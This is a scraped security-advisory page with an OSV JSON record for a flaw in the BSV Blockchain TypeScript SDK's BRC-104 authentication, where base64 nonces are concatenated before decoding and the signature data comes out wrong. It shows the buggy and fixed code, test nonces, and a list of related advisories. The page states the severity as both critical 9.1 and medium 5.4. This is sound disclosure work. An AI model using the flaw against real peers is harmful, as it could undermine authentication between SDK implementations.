const correctResult = [...INITIAL_NONCE_BYTES, ...SESSION_NONCE_BYTES];

Base64 Padding Short Circuit Analysis:

The vulnerability occurs because base64 padding characters (=) act as early termination signals for base64 decoders. When concatenating base64 strings before decoding:

Individual nonces: Each 44-character base64 string decodes to 32 bytes
Concatenated string: 88-character string containing padding in the middle
Decoding result: Base64 decoder stops at the first = padding character, producing only 32 bytes instead of 64

Example with test data: - INITIAL_NONCE_B64: "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=" (44 chars → 32 bytes) - SESSION_NONCE_B64: "QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkI=" (44 chars → 32 bytes) - Concatenated: "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkI=" - Buggy decode: Only 32 bytes (decoder stops at first =) - Correct decode: 64 bytes (32 + 32, decoded separately then concatenated)

Impact

Vulnerability Type: Cryptographic signature verification bypass

Severity: Critical (CVSS 9.1 - Critical)

Affected Systems: - TypeScript SDK clients attempting to authenticate with Go or Python SDK servers - Any BRC-104 implementation relying on cross-SDK compatibility - Mutual authentication protocols using the affected signature preparation

Who is Impacted: - Applications using the TypeScript SDK for BRC-104 authentication - Systems requiring cross-language/SDK authentication compatibility - Any peer-to-peer authentication scenarios where TypeScript clients communicate with non-TypeScript servers

Potential Attack Vectors: - Authentication bypass through signature verification failure - Man-in-the-middle attacks if authentication is silently ignored - Denial of service through failed authentication attempts

The fix ensures all SDKs now produce identical cryptographic signatures, restoring proper mutual authentication across implementations.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@bsv/sdk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T16:13:48Z",
    "nvd_published_at": "2026-02-18T19:21:42Z",
    "severity": "MODERATE"
  },
  "details": "# BRC-104 Authentication Signature Data Preparation Vulnerability\n\n### Summary\nA critical cryptographic vulnerability in the TypeScript SDK\u0027s BRC-104 authentication implementation caused incorrect signature data preparation, resulting in signature incompatibility [between SDK implementations](https://github.com/F1r3Hydr4nt/brc104-cross-language-tests) and potential authentication bypass scenarios.\n\n### Details\nThe vulnerability was located in the `Peer.ts` file of the TypeScript SDK, specifically in the `processInitialRequest` and `processInitialResponse` methods where signature data is prepared for BRC-104 mutual authentication.\n\n**Vulnerable Code Locations:**\n- `ts-sdk/src/auth/Peer.ts` lines 527-531 (signing)\n- `ts-sdk/src/auth/Peer.ts` lines 584-590 (verification)\n\n**Root Cause:**\nThe TypeScript SDK incorrectly prepared signature data by:\n1. Concatenating base64-encoded nonce strings: `message.initialNonce + sessionNonce`\n2. Then decoding the concatenated base64 string: `base64ToBytes(concatenatedString)`\n\nThis produced ~32-34 bytes of signature data instead of the correct 64 bytes.\n\n**Buggy Implementation (Before Fix):**\n```typescript\n// CRITICAL BUG: Concatenating base64 strings before decoding\ndata: Peer.base64ToBytes(message.initialNonce + sessionNonce)\n```\n\n**Correct Implementation (After Fix):**\nThe fix properly decodes each base64 nonce individually, then concatenates the byte arrays:\n```typescript\ndata: [\n  ...Peer.base64ToBytes(message.initialNonce),\n  ...Peer.base64ToBytes(sessionNonce)\n]\n```\n\n**Why This is Critical:**\nBRC-104 authentication relies on cryptographic signatures to establish mutual trust between peers. When signature data preparation is incorrect:\n- Signatures generated by the TypeScript SDK don\u0027t match those expected by Go/Python SDKs\n- Cross-implementation authentication fails\n- An attacker could potentially exploit this to bypass authentication checks\n\n### PoC\nThe cross-language test suite demonstrates this vulnerability:\n\n1. **Setup**: Use identical nonces and cryptographic inputs across TypeScript, Python, and Go SDKs\n2. **Vulnerable behavior**: TypeScript SDK produces different signature data than Go/Python reference implementations\n3. **Impact demonstration**: Authentication attempts between TypeScript clients and Go/Python servers fail due to signature mismatch\n\n**Test Evidence:**\n```typescript\n// Buggy approach (produces ~32-34 bytes)\nconst concatenatedB64 = INITIAL_NONCE_B64 + SESSION_NONCE_B64;\nconst buggyResult = Array.from(Buffer.from(concatenatedB64, \u0027base64\u0027));\n\n// Correct approach (produces 64 bytes)\nconst correctResult = [...INITIAL_NONCE_BYTES, ...SESSION_NONCE_BYTES];\n```\n\n**Base64 Padding Short Circuit Analysis:**\n\nThe vulnerability occurs because base64 padding characters (`=`) act as early termination signals for base64 decoders. When concatenating base64 strings before decoding:\n\n1. **Individual nonces:** Each 44-character base64 string decodes to 32 bytes\n2. **Concatenated string:** 88-character string containing padding in the middle\n3. **Decoding result:** Base64 decoder stops at the first `=` padding character, producing only 32 bytes instead of 64\n\n**Example with test data:**\n- `INITIAL_NONCE_B64`: `\"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=\"` (44 chars \u2192 32 bytes)\n- `SESSION_NONCE_B64`: `\"QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkI=\"` (44 chars \u2192 32 bytes)\n- **Concatenated:** `\"QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=QkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkI=\"`\n- **Buggy decode:** Only 32 bytes (decoder stops at first `=`)\n- **Correct decode:** 64 bytes (32 + 32, decoded separately then concatenated)\n\n### Impact\n**Vulnerability Type:** Cryptographic signature verification bypass\n\n**Severity:** Critical (CVSS 9.1 - Critical)\n\n**Affected Systems:**\n- TypeScript SDK clients attempting to authenticate with Go or Python SDK servers\n- Any BRC-104 implementation relying on cross-SDK compatibility\n- Mutual authentication protocols using the affected signature preparation\n\n**Who is Impacted:**\n- Applications using the TypeScript SDK for BRC-104 authentication\n- Systems requiring cross-language/SDK authentication compatibility\n- Any peer-to-peer authentication scenarios where TypeScript clients communicate with non-TypeScript servers\n\n**Potential Attack Vectors:**\n- Authentication bypass through signature verification failure\n- Man-in-the-middle attacks if authentication is silently ignored\n- Denial of service through failed authentication attempts\n\nThe fix ensures all SDKs now produce identical cryptographic signatures, restoring proper mutual authentication across implementations.",
  "id": "GHSA-vjpq-xx5g-qvmm",
  "modified": "2026-02-18T23:48:50Z",
  "published": "2026-02-17T16:13:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bsv-blockchain/ts-sdk/security/advisories/GHSA-vjpq-xx5g-qvmm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69287"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bsv-blockchain/ts-sdk/commit/d8cf6930028372079d977138ae9eaa03ae2f50bb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bsv-blockchain/ts-sdk"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BSV Blockchain SDK has an Authentication Signature Data Preparation Vulnerability"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list

CWE-573

Improper Following of Specification by Caller

GHSA-CWFQ-RFCR-8HMP

Zebra Transparent SIGHASH_SINGLE Corresponding-Output Handling Diverges From zcashd

Summary

Details

PoC

Impact

GHSA-M344-F55W-2M6J

1. Executive Summary

2. Technical Details & Root Cause

3. Attack Scenario

4. Specification & Standards Violations

5. Remediation Recommendation

6. Proof of Concept (PoC)

Output

GHSA-M55G-VPGH-VW7C

GHSA-PVMV-CWG8-V6C8

Consensus Divergence in V5 Transparent SIGHASH_SINGLE With No Corresponding Output

Summary

Severity

Affected Versions

Description

Impact

Fixed Versions

Mitigation

Credits

GHSA-VJPQ-XX5G-QVMM

BRC-104 Authentication Signature Data Preparation Vulnerability

Summary

Details

PoC

Impact

`Zebra` Transparent `SIGHASH_SINGLE` Corresponding-Output Handling Diverges From `zcashd`